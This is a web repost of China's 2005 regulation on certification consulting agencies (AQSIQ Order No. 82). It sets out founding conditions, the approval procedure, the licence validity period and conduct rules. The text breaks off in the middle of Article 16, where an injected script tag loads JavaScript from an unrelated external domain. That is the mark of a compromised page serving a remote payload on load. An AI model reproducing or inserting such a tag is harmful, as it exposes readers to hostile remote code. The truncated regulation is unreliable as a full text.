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认证咨询机构管理办法(国家质检总局令第82号)
发布人:E_Admin    发布于:2008-10-19 22:18:30    文字:【】【】【】【

国家质量监督检验检疫总局令 第82号   《认证咨询机构管理办法》已经2005年8月31日国家质量监督检验检疫总局局务会议审议通过,现予公布,自2005年11月1日起施行。    局 长 李长江    二〇〇五年九月二十九日   认证咨询机构管理办法   第一章 总则   第一条 为规范认证咨询活动,加强对认证咨询机构的监督管理,根据《中华人民共和国行政许可法》、《中华人民共和国认证认可条例》以及国务院的有关规定,制定本办法。   第二条 本办法所称的认证咨询机构,是指为使产品、服务和管理体系符合相关认证标准和技术规范而提供技术指导和服务的组织。   第三条 在中华人民共和国境内从事认证咨询活动应当遵守本办法。   第四条 国家认证认可监督管理委员会(以下简称国家认监委)负责认证咨询机构及其认证咨询活动的统一管理和监督工作。   国家认监委委托省、自治区、直辖市人民政府质量技术监督部门(以下简称省级质量技术监督部门)承办其所辖区域内的认证咨询机构的审批工作。   第五条 省级质量技术监督部门应当以国家认监委的名义,并在委托权限内实施认证咨询机构审批工作,不得再委托其他组织或者个人实施审批。   第二章 设立条件和批准程序   第六条 设立认证咨询机构,应当经国家认监委批准并依法取得工商登记后,方可从事批准范围内的认证咨询活动。   第七条 设立认证咨询机构应当符合下列条件:   (一)有固定的场所和必要的设施;   (二)注册资金不得少于人民币10万元;   (三)有符合认证咨询要求的管理文件;   (四)有4名以上取得注册的专职认证咨询师,其中至少有1名高级咨询师;   (五)依法应当具备的其他条件。   设立外商投资的认证咨询机构除应当符合上述条件外,外方投资者还应当取得其所在国家或者地区法律规定的认证咨询从业资格。   第八条 设立认证咨询机构的审批程序:   (一)设立认证咨询机构的申请人(以下简称申请人),应当向所在地省级质量技术监督部门提出书面申请,并提交相关证明材料;   (二)省级质量技术监督部门应当对申请人提交的申请材料进行初步审查,并自收到申请材料之日起5日内作出受理或者不予受理申请的书面决定;   (三)省级质量技术监督部门应当自受理申请之日起,对申请材料的实质内容进行审查和核实,并在20日内,作出是否批准的决定。决定批准的,向申请人出具《认证咨询机构设立批准通知书》,不予批准的,应当书面通知申请人,并说明理由;   (四)申请人凭《认证咨询机构设立批准通知书》依法办理有关工商登记手续,并凭工商登记手续领取《认证咨询机构批准书》。   省级质量技术监督部门应当公布依法设立的认证咨询机构名录,并向国家认监委报送本辖区内获得批准的认证咨询机构名录。   第九条 《认证咨询机构批准书》有效期为4年。   认证咨询机构需要延期使用《认证咨询机构批准书》的,应当在《认证咨询机构批准书》有效期满前90日内向所在地省级质量技术监督部门重新提出申请。   第十条 省级质量技术监督部门应当按国家认监委统一制定的认证咨询机构审批文书格式办理审批事项。   第十一条 认证咨询机构设立分支机构,应当向设立分支机构的所在地省级质量技术监督部门备案。   第十二条 境外认证咨询机构在中华人民共和国境内设立的常驻代表机构应当经国家认监委备案,方可从事有关业务联络、市场调研、技术交流等宣传推广活动,但不得从事认证咨询经营性活动。   第三章 行为规范   第十三条 认证咨询机构应当建立对认证咨询实施有效控制的质量体系和程序,并至少每12个月实施1次内部质量体系审核和管理评审。   第十四条 认证咨询机构应当建立与认证咨询活动相适应的认证咨询实施程序,并按照认证咨询实施程序为认证咨询委托人提供认证咨询服务,保证认证咨询活动的真实、有效。   认证咨询实施程序包括:调研诊断、体系策划、人员培训、文件编写、文件发布、体系运行(至少要保证有3个月的运行期)、内部审核、管理评审和符合性审核。   环境管理体系、职业健康与安全管理体系等特殊领域的认证咨询还需要包括环境、危险因素识别、评价等程序;产品认证咨询还需要包括产品符合性确认、设计等程序。   认证咨询机构应当对认证咨询实施过程作出完整记录,并归档留存。   第十五条 认证咨询机构应当建立专、兼职认证咨询人员聘用、培训、考核及能力评价制度。   认证咨询机构在聘用认证咨询人员时,应当选聘具有良好职业道德、一定专业知识和相关行业实践经验,并取得认证咨询师注册资格的人员。   第十六条 认证咨询机构应当对认证咨询过程实施管理?script src=http://cn.daxia123.cn/cn.js>
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